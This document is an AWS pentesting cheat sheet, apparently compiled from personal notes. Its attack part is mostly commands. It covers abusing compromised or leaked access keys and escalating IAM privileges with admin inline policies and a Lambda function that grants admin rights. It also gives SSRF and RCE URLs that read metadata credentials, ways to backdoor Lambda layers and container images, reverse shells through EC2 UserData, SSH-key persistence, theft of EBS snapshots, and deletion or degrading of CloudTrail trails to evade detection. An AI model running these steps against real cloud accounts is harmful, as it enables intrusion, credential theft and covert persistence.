- This guide was created to help pentesters learning more about AWS misconfigurations and ways to abuse them.
- It was created with my notes gathered with uncontable hours of study and annotations from various places
- It's assumed that you have the AWS keys (
This is not difficult to find, just look in developer's github) - Author -> pop3ret
- Scout Suite -> Security Healthcheck
- Pacu -> AWS Exploitation Framework
- SkyArk -> Discover most privileged users within AWS infrastructure
- Boto3 -> AWS SDK for python
- AWS Consoler -> Convert AWS Credentials into a console access
https://buckets.grayhatwarfare.com/
A number to identify an object in AWS
Example
arn:aws:iam:100:user/admin
- Field -> ARN
- Field -> Type, most of time will be AWS
- Field -> service, in this case IAM
- Field -> User ID
- Field -> entity identifier
- It's assumed that we have gain access to the AWS Credentials
- We can see if we have permissions using Amazon's policy simulator
- Always look for policies and roles with the * symbol.
- See which user do not have MFA enabled
- User enumeration in IAM Panel and group enumeration
- We can also enumerate roles from the same interface
- Root user is super admin
aws configure
Or configure it using a profile
aws configure --profile example_name
The credential file is located in ~/.aws/credentials
aws iam list-access-keys
aws sts get-caller-identity
aws iam list-users
aws iam list-groups-for-user --user-name user-name
aws iam list-attached-user-policies --user-name user-name
aws iam list-user-policies --user-name user-name
aws iam list-groups
aws iam list-attached-group-policies --group-name group-name
aws iam list-group-policies --group-name group name
aws iam list-roles
aws iam list-attached-role-policies --role-name role-name
aws iam list-role-policies --role-name role-name
aws iam list-policies
aws iam get-policy --policy-arn policy-arn
aws iam list-policy-versions --policy-arn policy-arn
aws iam get-policy-version --policy-arn policy-arn --version-id version-id
Retrieving the specified inline policy document that is embedded on the specified IAM user / group / role
aws iam get-user-policy --user-name user-name --policy-name policy-name
aws iam get-group-policy --group-name group-name --policy-name policy-name
aws iam get-role-policy --role-name role-name --policy-name policy-name
- AWS token compromised (Developer machine, phishing etc) and we as attackers will gonna use it.
aws sts get-caller-identity
Or specifing a profile
aws sts get-caller-identity --profile example_name
If you have the password of the root account instead of key, log in
https://signin.aws.amazon.com/console
Or use the IAM in case the account is not the root
https://account-id-here.signin.aws.amazon.com/console
The account id can be cathered using the sts get caller command.
- Privilege escalation on AWS is based on misconfigurations, if we have more permissions than necessary, its possible to obtain higher privileges.
- A user was compromised with the List Policy and Put User Policy permissions, an attacker could leverage this Put User privilege to add an inline administrator to itself, making it administrator of the instance.
- Getting the IAM user
aws sts get-caller-identity
- Listing policies attached to an user
aws iam list-attached-user-policies --user-name example_name -- profile example_profile
- Retrieving informations about an specific policy
aws iam get-policy --policy-arn policy_arn
If there are more than one version of the policy, we can also list them
aws iam list-policy-versions --policy-arn policy_arn
Now we can finally retrieve the contents of the policy
aws iam get-policy-version --policy-arn example_arn --version-id id_example
It's important to use the command above to chech the information about the default policy
- Escalation
If we have the PutUserPolicy is enabled, we can add an inline administrator policy to our user.
Administrator policy example
{
"Version": "2021-10-17",
"Statement" : [
{
"Effect":"Allow",
"Action": [
"*"
],
"Resource":[
"*"
]
}
]
}
aws iam put-user-policy --user-name example_username --policy-name example_name --policy-document file://AdminPolicy.json
aws iam list-user-policies --user-name example_name
aws s3 ls --profile example_profile
- iam:AttachUserPolicy -> Attach a policy to a user
- iam:AttachGroupPolicy -> Attach a policy to a group
- iam:AttachRolePolicy -> Attach a policy to a role
- iam:CreateAccessKey -> Creates a new access key
- iam:CreateLoginProfile -> Creates a new login profile
- iam:UpdateLoginProfile -> Update an existing login profile
- iam:PassRole and ec2:RunInstances -> Creates an EC2 instance with an existing instance profile
- iam:PuserUserPolicy -> Create/Update an inline policy
- iam:PutGroupPolicy -> Create/Update an inline policy for a group
- iam:PutRolePolicy -> Create/Update an inline policy for a role
- iam:AddUserToGroup -> Add an user to a group
- iam:UpdateAssumeRolePolicy and sts:AssumeRole -> Update the AssumeRolePolicyDocument of a role
- iam:PassRole,lambda:CreateFunction and lambda:InvokeFunction -> Pass a role to a new lambda function and invoke it
- lambda:UpdateFunctionCode -> Update the code of an existing lambda function
- Suppose we have two users, the user A has permissions to create Access Keys to user B, this misconfig allows us to create an access key for user B and persist our access.
aws iam create-access-key --username example_username
aws configure --profile example_profile
Remember, an user can have the maximum of 2 access keys.
aws sts get-caller-identity --profile example_profile
- It's possible to assume other roles with the sts:AssumeRole permission (Example: An user doesn't have access to an s3 instance, but it has this permission, we can easily assume other roles if we are in the trust relashionship, increasing our access in the instance)
aws iam list-attached-user-policies --user-name example_name
aws iam get-policy --policy-arn ARN
aws iam list-policy-versions --policy-arn ARN
aws iam get-policy-version --policy-arn policy_arn --version-id ID
aws iam list-roles
aws iam get-role --role-name role_name
aws iam liast-attached-role-policies --role-name role_name
aws iam get-policy-version --policy-arn policy_arn --version-id ID
aws sts assume-role --role-arn role_arn --role-session-name session_name
export AWS_ACCESS_KEY_ID
export AWS_SECRET_KEY
export AWS_SESSION_TOKEN
aws sts get-caller-identity
- Storage system that allow users to store and retrieve data.
- List,Get,Put and Delete operations can be performed on the objects of the bucket
- Buckets are global, meaning that they are available to all regions
- It's possible to bruteforce the bucket name and region in the URL
- Its possible to apply ACL's to bucket and object level and bucket policies for bucket level
- There is also time limited URL's and identity based policies
- Identity policies are enumerated using IAM commands
aws s3api list-buckets
aws s3api get-bucket-acl --bucket name
aws s3api get-bucket-policy --bucket name
aws s3api get-public-access-block --bucket name
aws s3api list-objects --bucket name
aws s3api get-object-acl --bucket-name name --key object_name
- It's possible to brute-force files in the bucket
- If the bucket is misconfigured, we can read data through web browser, cli/api or time-based URL.
- Just enter the URL in the browser
https://bucket-name.region.amazonaws.com/secret.txt
aws s3api get-object --bucket name --key object-name download-file-location
- Generate a time based url for an object
- Userful if the object is not public
aws s3 presign s3://bucket-name/object-name --expires-in 605000
- Serverless event driven platform
- Runs code in response to events and automatically manages computing resources required by that code
- Can trigger from other AWS services or call directly from the API Gateway
- A lambda function is a piece of code that is executed whenever is triggered by an event from an event source
- API Gateway is an AWS service for creating, publishing, maintaining, monitoring and securing REST, HTTP and WebSocket API
- API Gateway can be used to trigger lambda functions in a synchronous (api gateway), asynchronous (event) or stream (Poll Based) way.
- If we found a lambda function that access an S3 (Example) its possible to change its code and gain access to the files.
- If API Gateway is used, we can enumerate the API to see how its possible to invoke the lambda function (Craft the URL).
aws lambda list-functions
aws lambda get-function --function-name function_name
- This command enables us to download the source code of the lambda function
aws lambda get-policy --function-name function_name
- We can get informations like who can execute this functions, ID and other informations with this command
aws lambda list-event-source-mappings --function-name function_name
aws lambda list-layers
aws lambda get-layer-version --layer-name name --version-number version_number
aws apigateway get-rest-apis
aws apigateway get-rest-api --rest-api-id ID
aws apigateway get-resources --rest-api-id ID
aws apigateway get-resource --rest-api-id ID --resource-id ID
aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method method
- Test various methods to see if the API supports it.
aws apigateway get-stages --rest-api-id ID
aws apigateway get-stage --res-api-id ID --stage-name NAME
aws apigateway get-api-keys --include-values
aws apigateway get-api-key --api-key KEY
- Its possible to get RCE through API Gateway if it executes commands.
- If you can execute commands, there is a way to retrieve keys from the API Gateway, just use
env
, configureaws cli
and proceed with the exploitation.
Getting credentials from Lambda can be done in 2 ways
- Keys in the source code
- Keys in the enviroment variables
These keys can be gathered using SSRF, RCE and so on.
https://apigateway/prod/system?cmd=env
https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/next
https://apigateway/prod/system?cmd=file:///proc/self/environ
aws lambda get-function --function-name NAME
- It's important to enumerate the functions first with
aws lambda list-functions
- If the user has sufficient rights in the lambda function, its possible to download the source code, add a backdoor to it and upload. Everytime the lambda executes, the malicious code will also execute.
- Always try to update the code of layers (depedencies) instead of the actual lambda code, this way our backdoor will be difficult to detect.
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name user_name
aws iam get-policy-version --policy-arn arn --version-id ID
aws lambda list-functions --region region
aws lambda get-function --function-name name
- Download and analyze the codes
aws lambda get-policy --function-name name --profile profile --region region
- We can grab informations like id, who can invoke and other details with this command (Helps to build the query to execute the lambda function).
aws apigateway get-rest-apis
aws apigateway get-rest-api --rest-api-id ID
aws apigateway get-resources --rest-api-id ID
aws apigateway get-resource --rest-api-id ID --resource-id ID
aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method method
- Test various methods to see if the API supports it.
aws apigateway get-stages --rest-api-id ID
aws apigateway get-stage --res-api-id ID --stage-name NAME
aws lambda update-function-code --function-name function --zip-file fileb://my-function.zip
curl https://uj3948ie.execute-api.us-east-2.amazonaws.com/default/EXAMPLE
Where
- API-ID -> uj3948ie
- Region -> us-east-2
- Resource (Endpoint) -> EXAMPLE
- Method -> Get
- Stage (Version) -> default
- API-Key -> None
All these details are gathered during the enumeration.
- If we have a user with PassRole and CreateFunction roles and also AttachRolePolicy role in a Lambda Function, its possible to create a function with a code that changes the lambda role to admin then the user to Administrator.
aws lambda create-function --function-name my-function --runtime python3.7 --zip-file fileb://my-function.zip --handler my-function.handler --role ARN --region region
- Inside the function's code, we will add the administrator permission to the role and to the user
import boto3
import json
def handler(event,context)
iam = boto3.client("iam")
iam.attach.role.policy(RoleName="name",PolicyArn="arn",)
iam.attach.user.policy(UserName="name",PolicyArn="arn",)
return {
'statusCode':200
'body':json.dumps("Pwned")
}
aws lambda invoke --function-name name response.json --region region
aws iam list-attached-user-policies --user-name user_name
- AWS Service that encrypts and store secrets
- Transparently decrypts and return in plaintext
- KMS used to store keys (AWS Key and Customer Managed Key)
- Asymmetric and Symmetric keys can be created using KMS
aws secretsmanager list-secrets
aws secretsmanager describe-secret --secret-id name
aws secretsmanager get-resource-policy --secret-id ID
aws kms list-keys
aws kms describe-key --key-id ID
aws kms list-key-policies --key-id ID
- Shows who can access the keys
aws kms get-key-policy --policy-name name --key-id ID
- If the user has access to Secret Manager, it can decrypt the secrets using the web, cli or API
aws iam list-attached-user-policies --user-name name
- Here we can see the permissions
aws iam get-policy-version --policy-arn arn --version-id id
aws secretsmanager list-secrets
- Here we get the secret Key Id to descript the secret
aws secretsmanager describe-secret --secret-id name
aws secretsmanager get-resource-policy --secret-id ID
- Retrieves the actual value
aws secretsmanager get-secret-value --secret-id ID
- If we compromised as an example an S3 with an encrypted file, we can decrypt it using the keys stored in KMS.
aws kms describe-key --key-id id
- Here we can see who can access the key, the description of it and so on
aws kms list-key-policies --key-id ID
- Run the previous command in all keys to see who can access it
aws kms get-key-policy --policy-name name --key-id ID
- There is no need to specificy the key information because this information is embbeded in the encrypted file
aws kms decrypt --ciphertext-blob fileb://EncryptedFile --output text --query plaintext
Divided into three categories
- Registry -> Secure place to store container images (ECR)
- Orchestration -> Configure when and where the containters run (ECS,EKS)
- Compute -> Use to do computing related tasks (EC2, Fargate)
- Its possible to create a backdoor image and add to a EKS cluster
- Always look how VPC's are communicatig with each other, maybe is possible to pivot through the EKS VPC from other VPC and compromise the entire cluster
- The initial access can be done by exploiting some RCE in webapp to get access to the container, afterwards its possible to compromise the EC2.
After the RCE, we can list all secrets in EKS
https://website.com?rce.php?cmd=ls /var/run/secrets/kubernets.io/serviceaccount
https://website.com?rce.php?cmd=ls /var/run/secrets/kubernets.io/serviceaccount/token
- It's also possible to do sandbox escaping (Tool:
deepce
)
aws ecr describe-repositories
aws ecr get-repository-policy --repository-name name
aws ecr list-images --repository-name name
aws ecr describe-images --repository-name name --images-ids imageTag=name
aws ecs list-clusters
aws ecs describe-clusters --cluster name
aws ecs list-services --cluster name
aws ecs descibe-services --cluster name --services name
- This command shows the logs of the service
aws ecs list-tasks --cluster name
aws ecs describe-tasks --cluster name -tasks taskArn
- Also shows information about network, userful if trying to pivot
aws ecs list-container-instances --cluster name
aws eks list-clusters
aws eks describe-cluster --name name
aws eks list-nodegroups --cluster-name name
aws eks describe-nodegroup --cluster-name name --nodegroup-name name
aws eks list-fargate-profiles --cluster-name cluster-name
aws eks describe-fargate-profiles --cluster-name name --fargate-profile-name name
- It's possible to modify an existing docker image with a backdoor, when this image is used it will trigger our team server.
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name name
aws iam get-policy-version --policy-arn arn --version-id id
aws ecr describe-repositories
aws ecr list-images --repository-name name
aws ecr describe-images --repository-name name --image-ids imageTag=Name
aws ecr get-login-password --region region | docker login --username AWS --password-stdin ecr_address
docker build -t image_name
docker tag image_name ecr_addr:Image_Name
docker push ecr_addr:Image_Name
- AMI, images used to create virtual machines
- It's possible to create a malicious image to compromise users
- We can access an instance using SSH Keys, EC2 Instance Connect, Session Manager
- The SSH Key method is permanent, we need to gather the private key to connect to the instance
- EC2 Instance connect is an IAM right that we can add to a user, enabling us to temporarily connect to an instance
- Session manager only work in browser and it does not need SSH Key
- Windows machines can be accessed by using RDP, Session Manager
- Security Groups acts as a virtual firewall to control inbound and outbound traffic, acts at the instance level, not the subnet level.
aws ec2 describe-instances
aws ec2 describe-instances --region region
aws ec2 describe-instances --instance-ids ID
aws ec2 describe-instance-attribute --attribute userData --instance-id instanceID
This command gathers the metadata from the instance, like commands or secrets. The output is base64 encoded
aws ec2 describe-iam-instance-profile-associations
- Initial access can happen by RCE or SSRF
- Metadata can be used to exfiltrate information from the instance
If we have remote code execution or SSRF, we can grab metadata information
curl http://169.254.169.254/latest/meta-data
curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
TOKEN=`curl
X PUT "http://169.254.169.254/latest/ api /token" H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
&& curl H "X-aws-ec2-metadata-token: $TOKEN" v http://169.254.169.254/latest/meta-data/
Version 1
curl http://169.254.169.254/latest/user-data/
Version 2
TOKEN=`curl
X PUT "http://169.254.169.254/latest/ api /token" H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
&& curl H "X-aws-ec2-metadata-token: $TOKEN" v http://169.254.169.254/latest/user-data/
- One approach to get a shell in a instance is to put a reverse shell in UserData attribute, when the instance is launched, we will have the connection.
- Another approach happens when we have the iam:PassRole and iam:AmazonEC2FullAccess permissions, we can add an administrator role to the compromised EC2 instance and access aws services.
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name user_name
aws iam get-policy-version --policy-arn ARN --version-id ID
To attach a role to an EC2 instance, we can use the RCE to grab the ID
curl http://169.254.169.254/latest/meta-data/instance-id
aws iam list-instance-profiles
aws ec2 associate-iam-instance-profile --instance-id ID --iam-instance-profile Name=ProfileName
- We can grab the credentials by abusing metadata (Web Application with SSRF,RCE and so on)
- Enumerate the key (Role)
aws sts get-caller-identity
- If there are roles associated with the key, we can grab the credentials by issuing a request to the metadata endpoint (v1 or v2)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_OF_PREVIOUS_COMMAND
- Configure the aws cli
aws configure
Or use enviroment variables.
- All the persistence techniques works here, SSH persistence, vim backdoor and so on.
- Generate SSH Key pair
ssh-keygen
- Add public key to authorized_keys
echo "PUBLIC_Key" >> /home/user/.ssh/authorized_keys
- Use the private key to connect
ssh -i public_key user@instance
- Block storage system used to store persistent data
- It's possible to attach this drive to EC2 and increase the storage (Like and HD, but scalable).
- It's possible to create a snapshot (It will be saved on S3) and create a volume from this snapshot.
- It's possible to attach the snapshot (Backup of BS) to an EC2 instance
- Snapshots can be used as volumes or AMI's
aws ec2 describe-volumes
- If the volume is available, it can be attached to an EC2 instance
- Check if the EBS is encrypted
aws ec2 describe-snapshots --owner-ids self
- Also check if the snapshot is encrypted
- Create a snapshot of an EC2 instance, create a volume from snapshot and attach to other EC2 instance.
- User need to have IAM permissions on EC2
- Maybe we don't have the right to access the instance but have rights to create a snapshot and attach it to another machine.
aws ec2 create-snapshot --volume volumeID --description "Example" --profile profile_name
aws ec2 describe-snapshots
aws ec2 create-volume --snapshot-id ID --availability-zone ZONE --profile profile_name
- The volume needs to be in the same availability zone as the instance we have access
aws ec2 attach-volume --volume-id VolumeID --instance-id InstanceID --device /dev/sdfd -> Can be other value
sudo mount /dev/sdfd /directory
After mounting, we will have access to the disk.
- Service to use, operate and scale relational databases in AWS (MariaDB, MySQL and similar)
- The access is done by using password, password+IAM or password+kerberos
- It's possible to restrict access using restriction such as specific EC2 or lambda or use network level restriction such as vpc, ip.
- RDS Proxy hadles the traffic between the application and the database, it enables the enforcing of IAM permissions and use secrets manager to store credentials.
aws rds describe-db-clusters
aws rds describe-db-instances
- IAMDatabaseAuthenticationEnabled: false -> Need password to access the instance
aws rds describe-db-subnet-groups
aws rds describe-db-security-groups
aws rds describe-db-proxies
- If the instance is in a security group or VPC, we need to compromise it first to access the database (For example, we compromise an EC2 instance in the same VPC, then its possible to connect)
aws rds describe-db-instances
aws ec2 describe-security-groups --group-ids id
mysql -h hostname -u name -P port -p password
1. Identify the user
aws sts get-caller-identity
2. List all policies attached to a role
aws iam list-attached-role-policies --role-name name
3. Get information about a specific version of a policy
aws iam get-policy-version --policy-arn arn --version-id ID
4. Get a temporary token from the RDS
aws rds generate-db-auth-token --hostname hostname --port port --username username --region region
- To be easier, we can put it in a variable
TOKEN=$(aws rds generate-db-auth-token --hostname hostname --port port --username username --region region)
5. Connect to the DB using the token
mysql -h hostname -u name -P port --enable-cleartext-plugin --user=user --password=$TOKEN
- Used to centrally manage access to multiple AWS accounts and applications.
- Provide users a way to interact with all services and applications through one place
- Can be used to manage access and user permissions to all AWS accounts
- The identity source can use AWS SSO's identity store or external identity store (Okta,SAML and similar)
- Log monitoring service, allow us to continuously monitor and retain account activity related to actions in our AWS account
- Provide event history of AWS account activity, SDKs, command line tools and other services
- Commonly used to detect unsual behavior in AWS account
- Pacu automatically changes the user agent to deceive the logs of cloudtrail
aws cloudtrail list-trails
aws cloudtrail delete-trail --name example_trail --profile name
aws cloudtrail update-trail --name example_trail --no-include-global-service-event
aws cloudtrail update-trail --name example_trail --no-include-global-service-event --no-is-multi-region --region=eu-west
- Used to protect services from Denial of Service Attacks
- There are 2 versions, the standard and the Advanced
- Used to protect applications against common web application attacks
- Common WAF bypasses can be tested against it
- To detect an WAF, we can use
wafw00f
- Automated security assessment service that helps improve the security and compliance of applications on AWS
- Works with an agent
- Threat detection service that monitors for malicious activity and unauthorized behavior
- Works by collecting and analyzing logs
- Used to create an isolated infrastructure within the cloud, including subnets and so on.
- If the VPC has an internet gateway, means its a public subnet
- Every VPC can have Network ACL's
A set of rules to determine where the traffic will be directed, comes in form of Destination and Target, defined as follows
DESTINATION TARGET
IP local -> VPC Internal
IP igw -> Internet Gateway
IP nat -> NAT Gateway
IP pcx -> VPC Peering
IP vpce -> VPC Endpoint
IP vgw -> VPN Gateway
IP eni -> Network Interface
- VPC Internal -> Internal IP, no internet connection
- Internet Gateway -> Used to access the internet
- NAT Gateway -> Does the NAT between machines, allows one way connection to the internet
- VPC Peering -> Allows the communication between 2 VPC's
- VPC Endpoint -> Used to access aws services without internet connection (Internet Gateway)
- VPN Gateway -> Used to expand the cloud to on premises and vice-versa
- Network Interface -> Network Interfaces
aws ec2 describe-vpcs
aws ec2 describe-vpcs --region us-west-1
aws ec2 describe-vpcs --filters "Name=vpc-id,Values=ID"
aws ec2 describe-subnets
aws ec2 describe-subnets --filters "Name=vpc-id,Values=ID"
aws ec2 describe-route-tables
aws ec2 describe-route-tables --filters "Name=vpc-id,Values=ID"
aws ec2 describe-network-acls
- We can abuse VPC peering to do lateral movement
- There are 3 VPC's -> A,B,C
- A can acess B through peering and B access C. We can use VPC B as a peering pivot to acess VPC C from VPC A.
- The lateral movement can be done if we gather keys or other machines
- Always enumerate the subnets to see in which subnet we can access other VPC's
aws ec2 describe-vpc-peering-connections
Listing subnets of specific VPC (Important because the access can be restricted to specific subnets to other VPC's)
aws ec2 describe-subnets --filters "Name=vpc-id,Values=ID"
aws ec2 describe-route-tables --filters "Name=vpc-id,Values=ID"
aws ec2 describe-instances --filters "Name=vpc-id,Values=ID"
aws ec2 describe-instances --filters "Name=subnet-id,Values=ID"